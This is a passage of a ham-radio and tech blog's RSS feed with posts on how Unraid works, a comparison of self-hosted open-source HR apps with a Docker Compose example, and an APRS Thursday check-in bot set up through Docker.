<ul class="wp-block-list">
<li><code>/mnt/user/media</code> might pull data from <code>disk1</code>, <code>disk3</code>, and <code>disk5</code></li>



<li>You can configure how files are distributed: most-free, high-water, fill-up</li>



<li>Exclude/include specific disks per share</li>
</ul>



<p class="wp-block-paragraph">This gives the appearance of a single large folder while keeping physical separation intact.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">4. <strong>Docker Container Management</strong></h3>



<p class="wp-block-paragraph">Unraid includes <strong>built-in Docker support</strong> with a GUI to:</p>



<ul class="wp-block-list">
<li>Pull images from Docker Hub or custom registries</li>



<li>Define volumes and port mappings</li>



<li>Automatically update containers</li>



<li>Use templates from the <strong>Community Applications</strong> plugin</li>
</ul>



<p class="wp-block-paragraph">Docker runs atop a <strong>Btrfs-formatted cache pool</strong>, so containers benefit from fast SSD speeds.</p>



<p class="wp-block-paragraph">Popular self-hosted apps include:</p>



<ul class="wp-block-list">
<li>Plex, Jellyfin</li>



<li>Nextcloud</li>



<li>Pi-hole</li>



<li>Home Assistant</li>



<li>Nginx Proxy Manager</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">5. <strong>Virtual Machines (VMs)</strong></h3>



<p class="wp-block-paragraph">Unraid includes a built-in <strong>KVM hypervisor</strong>, allowing you to run full operating systems like:</p>



<ul class="wp-block-list">
<li>Windows 10/11</li>



<li>Ubuntu</li>



<li>macOS (with tweaks)</li>



<li>Other Linux distros</li>
</ul>



<p class="wp-block-paragraph">Features:</p>



<ul class="wp-block-list">
<li>Web-based VM manager</li>



<li>Passthrough support for GPUs, USB controllers, NICs (via IOMMU/VT-d)</li>



<li>Virtual disk and ISO management</li>



<li>VNC remote access</li>
</ul>



<p class="wp-block-paragraph">With proper hardware, you can even <strong>game on a VM</strong> using GPU passthrough.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">6. <strong>Flash Boot, License, and Security</strong></h3>



<ul class="wp-block-list">
<li><strong>Boots from USB</strong> (persistent license key tied to the USB drive)</li>



<li>Runs in <strong>RAM</strong> after booting, keeping system fast and stateless</li>



<li>GUI accessible via web browser on port <code>80</code></li>



<li>Plugins available for additional monitoring, security, or customization</li>
</ul>



<p class="wp-block-paragraph">Licensing tiers are based on the number of attached storage devices:</p>



<ul class="wp-block-list">
<li><strong>Basic</strong>: up to 6 devices</li>



<li><strong>Plus</strong>: up to 12 devices</li>



<li><strong>Pro</strong>: unlimited devices</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">7. <strong>Recovery, Snapshots, and Parity Limitations</strong></h3>



<ul class="wp-block-list">
<li>You can recover data from individual disks <strong>even outside of Unraid</strong>, since they use standard filesystems.</li>



<li>Unraid <strong>doesn’t support bitrot protection</strong> or multiple-disk failures unless you configure a second parity disk.</li>



<li>No ZFS support out-of-the-box, but Btrfs cache pools do allow snapshots and checksumming.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Why Unraid?</h3>



<ul class="wp-block-list">
<li><strong>Easier than FreeNAS/TrueNAS</strong></li>



<li><strong>No storage rebalancing or reformatting required</strong></li>



<li><strong>Efficient for mixed disks</strong></li>



<li><strong>Great for self-hosted apps</strong></li>



<li><strong>Flexible VM support</strong></li>



<li><strong>Extremely beginner-friendly web UI</strong></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Final Thoughts</h3>



<p class="wp-block-paragraph">Unraid strikes a balance between <strong>simplicity and power</strong>. It’s ideal for users who want a robust home server with storage, Docker, and VMs—all manageable through a friendly web interface.</p>



<p class="wp-block-paragraph">Whether you&#8217;re running a <strong>media server</strong>, building a <strong>homelab</strong>, or hosting <strong>production apps on a budget</strong>, Unraid gives you control, flexibility, and peace of mind.</p>
<p>The post <a href="https://hamradio.my/2025/07/how-unraid-works-the-flexible-os-for-nas-vms-and-docker-at-home/">How Unraid Works: The Flexible OS for NAS, VMs, and Docker at Home</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/how-unraid-works-the-flexible-os-for-nas-vms-and-docker-at-home/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Best Open Source HR Apps for Self-Hosting</title>
		<link>https://hamradio.my/2025/07/best-open-source-hr-apps-for-self-hosting/</link>
					<comments>https://hamradio.my/2025/07/best-open-source-hr-apps-for-self-hosting/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Fri, 04 Jul 2025 16:12:06 +0000</pubDate>
				<category><![CDATA[docker]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[businessautomation]]></category>
		<category><![CDATA[cloudalternatives]]></category>
		<category><![CDATA[dataprivacy]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[erpnext]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[hrsoftware]]></category>
		<category><![CDATA[hrtech]]></category>
		<category><![CDATA[icehrm]]></category>
		<category><![CDATA[linuxadmin]]></category>
		<category><![CDATA[odoo]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[opensourceapps]]></category>
		<category><![CDATA[opensourcecommunity]]></category>
		<category><![CDATA[opensourceerp]]></category>
		<category><![CDATA[opensourcehr]]></category>
		<category><![CDATA[orangehrm]]></category>
		<category><![CDATA[remotehr]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[smallbusinesssoftware]]></category>
		<category><![CDATA[teammanagement]]></category>
		<category><![CDATA[webapps]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8229</guid>

					<description><![CDATA[<p>When it comes to managing people, spreadsheets eventually fall apart. Whether you&#8217;re a small startup, a non-profit, or just a tech-savvy HR manager tired of SaaS subscriptions, you’ve probably thought: “Can I just self-host my own HR app?” Yes, you can. And if you&#8217;re anything like me, that means Docker is non-negotiable. You want fast [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/best-open-source-hr-apps-for-self-hosting/">Best Open Source HR Apps for Self-Hosting</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 class="wp-block-heading"></h1>



<p class="wp-block-paragraph">When it comes to managing people, spreadsheets eventually fall apart. Whether you&#8217;re a small startup, a non-profit, or just a tech-savvy HR manager tired of SaaS subscriptions, you’ve probably thought:</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">“Can I just <strong>self-host</strong> my own HR app?”</p>
</blockquote>



<p class="wp-block-paragraph">Yes, you can. And if you&#8217;re anything like me, that means <strong>Docker</strong> is non-negotiable. You want fast deployment, simple updates, container isolation, and most importantly, <strong>full control of your data</strong>.</p>



<p class="wp-block-paragraph">But here&#8217;s the catch: not all open-source HR systems are Docker-ready, and many are clunky, outdated, or abandoned. So I did the dirty work: tested the top contenders, spun up containers, broke a few things, and came away with clear winners and losers.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f947.png" alt="🥇" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Odoo (Community Edition): <strong>Best All-Rounder for Docker + HR</strong></h2>



<figure class="wp-block-image size-large"><img  title="" fetchpriority="high" decoding="async" width="1024" height="768" src="https://hamradio.my/wp-content/uploads/2025/07/image-5-1024x768.png"  alt="image-5-1024x768 Best Open Source HR Apps for Self-Hosting"  class="wp-image-8230" srcset="https://hamradio.my/wp-content/uploads/2025/07/image-5-1024x768.png 1024w, https://hamradio.my/wp-content/uploads/2025/07/image-5-300x225.png 300w, https://hamradio.my/wp-content/uploads/2025/07/image-5-768x576.png 768w, https://hamradio.my/wp-content/uploads/2025/07/image-5.png 1050w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph"><strong>Website</strong>: <a href="https://www.odoo.com">https://www.odoo.com</a><br><strong>HR Module Overview</strong>: <a href="https://www.odoo.com/page/human-resources">https://www.odoo.com/page/human-resources</a><br><strong>Official Docker Image</strong>: <a href="https://hub.docker.com/_/odoo">https://hub.docker.com/_/odoo</a></p>



<p class="wp-block-paragraph">If you only read this far: <strong>Odoo is the one.</strong> Hands down.</p>



<p class="wp-block-paragraph">Odoo is an ERP system. That usually scares people — they think it’s too big, too bloated, too enterprisey. But here’s the thing: <strong>Odoo is modular</strong>, and the Community Edition is free and completely open-source. You can start with just HR modules and ignore the rest. Later on, you can add CRM, invoicing, accounting, and more — if you need them.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Odoo rocks:</h3>



<ul class="wp-block-list">
<li><strong>Clean, modern web interface</strong></li>



<li><strong>HR features are well-built</strong>: employee records, contracts, leave, attendance, appraisals, timesheets, and basic recruitment</li>



<li><strong>Official Docker image</strong> means no hacks or 10-year-old community images</li>



<li><strong>Big ecosystem</strong> — plugins, docs, community support</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What to watch out for:</h3>



<ul class="wp-block-list">
<li>Built-in payroll only exists in third-party modules or the paid Enterprise edition</li>



<li>Requires PostgreSQL as a backend (easy with Docker Compose, though)</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Real-world Docker setup:</h3>



<pre class="wp-block-code"><code>version: '3'

services:
  db:
    image: postgres:15
    environment:
      POSTGRES_DB: odoo
      POSTGRES_USER: odoo
      POSTGRES_PASSWORD: odoo

  odoo:
    image: odoo:16
    ports:
      - "8069:8069"
    depends_on:
      - db
    environment:
      HOST: db
      USER: odoo
      PASSWORD: odoo
    volumes:
      - odoo-data:/var/lib/odoo

volumes:
  odoo-data:
</code></pre>



<p class="wp-block-paragraph">Just <code>docker compose up -d</code>, go to <code>http://localhost:8069</code>, and you’re in business.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f948.png" alt="🥈" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ERPNext: <strong>Full-Featured HR + Payroll</strong></h2>



<figure class="wp-block-image size-full"><img  title="" decoding="async" width="700" height="194" src="https://hamradio.my/wp-content/uploads/2025/07/image-6.png"  alt="image-6 Best Open Source HR Apps for Self-Hosting"  class="wp-image-8231" srcset="https://hamradio.my/wp-content/uploads/2025/07/image-6.png 700w, https://hamradio.my/wp-content/uploads/2025/07/image-6-300x83.png 300w" sizes="(max-width: 700px) 100vw, 700px" /></figure>



<p class="wp-block-paragraph"><strong>Website</strong>: <a href="https://erpnext.com">https://erpnext.com</a><br><strong>GitHub</strong>: <a href="https://github.com/frappe/frappe_docker">https://github.com/frappe/frappe_docker</a></p>



<p class="wp-block-paragraph">ERPNext is what you get when you take accounting seriously. It was born as an ERP, but its <strong>HR module is surprisingly deep,</strong> and it’s one of the few with <strong>built-in payroll</strong>, which Odoo lacks in its free edition.</p>



<p class="wp-block-paragraph">It covers everything from:</p>



<ul class="wp-block-list">
<li>Recruitment &amp; onboarding</li>



<li>Employee lifecycle</li>



<li>Appraisals &amp; KPIs</li>



<li>Salary slips &amp; payroll</li>



<li>Leave, attendance, and shift planning</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why ERPNext is powerful:</h3>



<ul class="wp-block-list">
<li>Built-in <strong>payroll engine</strong> with salary structures and tax calculations</li>



<li>Fully open-source and active development</li>



<li>Docker support via <code>frappe_docker</code> is well-documented</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Downsides:</h3>



<ul class="wp-block-list">
<li><strong>Much harder to install</strong> than Odoo</li>



<li>Requires familiarity with the <strong>Frappe framework</strong></li>



<li>You’ll be dealing with a more complex Docker Compose stack (Redis, MariaDB, etc.)</li>
</ul>



<p class="wp-block-paragraph">This is for you if:</p>



<ul class="wp-block-list">
<li>You’re comfortable with complex Docker setups</li>



<li>You need <strong>serious payroll</strong> functionality without paying for a SaaS</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f949.png" alt="🥉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ICE Hrm: <strong>Quick, Lightweight HR in a Box</strong></h2>



<figure class="wp-block-image size-full is-resized"><img  title="" decoding="async" width="257" height="196" src="https://hamradio.my/wp-content/uploads/2025/07/image-8.png"  alt="image-8 Best Open Source HR Apps for Self-Hosting"  class="wp-image-8233" style="width:640px;height:auto"/></figure>



<p class="wp-block-paragraph"><strong>Website</strong>: <a href="https://icehrm.com">https://icehrm.com</a><br><strong>Docker Image</strong>: <a href="https://hub.docker.com/r/gamonoid/icehrm">https://hub.docker.com/r/gamonoid/icehrm</a></p>



<p class="wp-block-paragraph">ICE Hrm is the fastest one to get up and running. It’s a traditional LAMP stack (PHP + MySQL), but the devs provide a Docker image, and it actually works out of the box.</p>



<p class="wp-block-paragraph">It’s great for:</p>



<ul class="wp-block-list">
<li>Small teams</li>



<li>NGOs</li>



<li>Freelancers with a couple of contractors</li>
</ul>



<p class="wp-block-paragraph">You get:</p>



<ul class="wp-block-list">
<li>Employee directory</li>



<li>Leave tracking</li>



<li>Attendance (even with GPS support)</li>



<li>Time tracking</li>



<li>Document uploads</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6ab.png" alt="🚫" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Limitations:</h3>



<ul class="wp-block-list">
<li>The <strong>free version is limited</strong> — no advanced payroll, no performance modules</li>



<li>UI is clean but <strong>not as polished</strong> as Odoo</li>



<li>Docker image is community-maintained (but mostly stable)</li>
</ul>



<p class="wp-block-paragraph">Still, if you want to spin something up <strong>in 2 minutes</strong> and track employee leave without paying a dime, this is it.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e0.png" alt="🟠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> OrangeHRM: <strong>Popular, But Not Docker-First</strong></h2>



<figure class="wp-block-image size-full"><img  title="" loading="lazy" decoding="async" width="620" height="485" src="https://hamradio.my/wp-content/uploads/2025/07/image-9.png"  alt="image-9 Best Open Source HR Apps for Self-Hosting"  class="wp-image-8234" srcset="https://hamradio.my/wp-content/uploads/2025/07/image-9.png 620w, https://hamradio.my/wp-content/uploads/2025/07/image-9-300x235.png 300w" sizes="auto, (max-width: 620px) 100vw, 620px" /></figure>



<p class="wp-block-paragraph"><strong>Website</strong>: <a href="https://www.orangehrm.com">https://www.orangehrm.com</a><br><strong>GitHub</strong>: <a href="https://github.com/orangehrm/orangehrm">https://github.com/orangehrm/orangehrm</a></p>



<p class="wp-block-paragraph">OrangeHRM is the first open-source HR app many people find. And on paper, it’s solid:</p>



<ul class="wp-block-list">
<li>Employee management</li>



<li>Leave management</li>



<li>Recruitment module</li>



<li>Admin roles and permissions</li>
</ul>



<p class="wp-block-paragraph">But here’s the problem: <strong>Docker support is missing.</strong> No official image. No easy way to containerize it. You’ll have to DIY with Apache, PHP configs, and maybe even wrestle with <code>mod_rewrite</code>.</p>



<p class="wp-block-paragraph">If you’re already running a LAMP stack manually, you might like it. Otherwise, skip it and save yourself the pain.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1fab5.png" alt="🪵" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Summary Table</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature / App</th><th>Odoo</th><th>ERPNext</th><th>ICE Hrm</th><th>OrangeHRM</th></tr></thead><tbody><tr><td>Docker Ready</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Official</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Official</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Community</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Manual Only</td></tr><tr><td>HR Features</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Payroll</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (3rd-party)</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Built-in</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Basic</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (Enterprise)</td></tr><tr><td>Recruitment</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>UI/UX</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Modern</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Clean</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Simple</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Outdated</td></tr><tr><td>Complexity</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26aa.png" alt="⚪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Moderate</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f534.png" alt="🔴" class="wp-smiley" style="height: 1em; max-height: 1em;" /> High</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e2.png" alt="🟢" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Easy</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f7e1.png" alt="🟡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Manual Setup</td></tr><tr><td>Best For</td><td>Most teams</td><td>Full HR+Finance</td><td>Small setups</td><td>LAMP fans</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">If I had to choose just one open-source HR system to self-host in Docker, <strong>Odoo</strong> would be it — no contest.</p>



<p class="wp-block-paragraph">It’s powerful, modern, Docker-ready, and backed by a massive community. Even if you only use the HR modules, you’re already ahead. And if you ever want to grow into CRM, eCommerce, or Accounting, it’s all there.</p>
<p>The post <a href="https://hamradio.my/2025/07/best-open-source-hr-apps-for-self-hosting/">Best Open Source HR Apps for Self-Hosting</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/best-open-source-hr-apps-for-self-hosting/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>9M2PJU APRS Thursday Check-in Bot</title>
		<link>https://hamradio.my/2025/07/9m2pju-aprs-thursday-check-in-bot/</link>
					<comments>https://hamradio.my/2025/07/9m2pju-aprs-thursday-check-in-bot/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Thu, 03 Jul 2025 16:19:41 +0000</pubDate>
				<category><![CDATA[9M2PJU]]></category>
		<category><![CDATA[APRS]]></category>
		<category><![CDATA[aprs thursday]]></category>
		<category><![CDATA[automatic packet reporting system]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[radio amatur]]></category>
		<category><![CDATA[9m2pju]]></category>
		<category><![CDATA[amateuradio]]></category>
		<category><![CDATA[ANSRVR]]></category>
		<category><![CDATA[aprsbot]]></category>
		<category><![CDATA[APRScheckin]]></category>
		<category><![CDATA[APRSDocker]]></category>
		<category><![CDATA[APRSIS]]></category>
		<category><![CDATA[APRSmessage]]></category>
		<category><![CDATA[APRSNet]]></category>
		<category><![CDATA[APRSprojects]]></category>
		<category><![CDATA[APRSThursday]]></category>
		<category><![CDATA[ARMdevices]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[hamradio]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[linuxham]]></category>
		<category><![CDATA[openradio]]></category>
		<category><![CDATA[packetradio]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[radioautomation]]></category>
		<category><![CDATA[radiohobby]]></category>
		<category><![CDATA[RaspberryPi]]></category>
		<category><![CDATA[RFautomation]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8213</guid>

					<description><![CDATA[<p>If you’re active on APRS, you’ve probably come across the #APRSThursday net — a fun global event that happens every Thursday to encourage APRS messaging. It&#8217;s organized by Michael KC8OWL, and the idea is simple: just send a short APRS message to ANSRVR or APRSPH sometime on Thursday (UTC). That’s it. But like many of [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/9m2pju-aprs-thursday-check-in-bot/">9M2PJU APRS Thursday Check-in Bot</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If you’re active on <a href="https://en.wikipedia.org/wiki/Automatic_Packet_Reporting_System">APRS</a>, you’ve probably come across the <strong>#APRSThursday</strong> net — a fun global event that happens every Thursday to encourage APRS messaging.</p>



<p class="wp-block-paragraph">It&#8217;s organized by Michael KC8OWL, and the idea is simple: just send a short APRS message to <code><strong>ANSRVR</strong></code> or <strong>APRSPH</strong> sometime on Thursday (UTC).</p>



<p class="wp-block-paragraph">That’s it. But like many of us, I sometimes forget to send mine. So I decided to build a little automation to take care of it.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why I Built This</h2>



<p class="wp-block-paragraph">I wanted something that would:</p>



<ul class="wp-block-list">
<li>Automatically send my check-in message every Thursday</li>



<li>Run quietly in the background</li>



<li>Work on my Raspberry Pi server</li>



<li>It is easy to manage with Docker</li>
</ul>



<p class="wp-block-paragraph">And that’s how the <strong>9M2PJU APRS Thursday Check-in Bot</strong> was born.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f427.png" alt="🐧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What It Does</h2>



<p class="wp-block-paragraph">This bot runs 24/7 and sends the following APRS message every Thursday at <strong>9:00 PM Malaysia Time (MYT)</strong>:</p>



<pre class="wp-block-code"><code>HOTG Hello from CALLSIGN
</code></pre>



<p class="wp-block-paragraph">It connects to <code>aprs.hamradio.my:14580</code> using <code>aprslib</code> and sends the message exactly the way the #APRSThursday net expects.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> You Can Also Test It Anytime</h2>



<p class="wp-block-paragraph">I also added a test mode. Just run:</p>



<pre class="wp-block-code"><code>docker compose run --rm aprs-thursday-check-in python /app/aprs-thursday-check-in.py --test
</code></pre>



<p class="wp-block-paragraph">..and it sends the message instantly. Useful for checking if your server or internet connection is working properly.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tech Stuff</h2>



<ul class="wp-block-list">
<li>Written in Python</li>



<li>Dockerized with a super lightweight <code>python:alpine</code> image</li>



<li>Runs well on low-resource devices</li>
</ul>



<p class="wp-block-paragraph">You just clone the repo, build it with Docker, and let it run. No need to set up cron or anything.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e5.png" alt="📥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Want to Use It?</h2>



<p class="wp-block-paragraph">Here’s the GitHub repo:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://github.com/9M2PJU/9M2PJU-APRS-Thursday-Check-In-Bot"><strong>https://github.com/9M2PJU/9M2PJU-APRS-Thursday-Check-in-Bot</strong></a></p>



<p class="wp-block-paragraph">Setup is simple. Just:</p>



<pre class="wp-block-code"><code>git clone https://github.com/9M2PJU/9M2PJU-APRS-Thursday-Check-In-Bot.git
cd 9M2PJU-APRS-Thursday-Check-In-Bot
docker compose up -d --build
</code></pre>



<p class="wp-block-paragraph">That’s it. The bot will now check in every Thursday on its own.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">I built this for myself, but I figured it might help someone else, too. If you want to support the APRS community and keep message-based activity alive, this is an easy way to do it.</p>



<p class="wp-block-paragraph">Feel free to fork, improve, or just use it as-is. I’ll keep updating it if I come up with new ideas.</p>
<p>The post <a href="https://hamradio.my/2025/07/9m2pju-aprs-thursday-check-in-bot/">9M2PJU APRS Thursday Check-in Bot</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/9m2pju-aprs-thursday-check-in-bot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
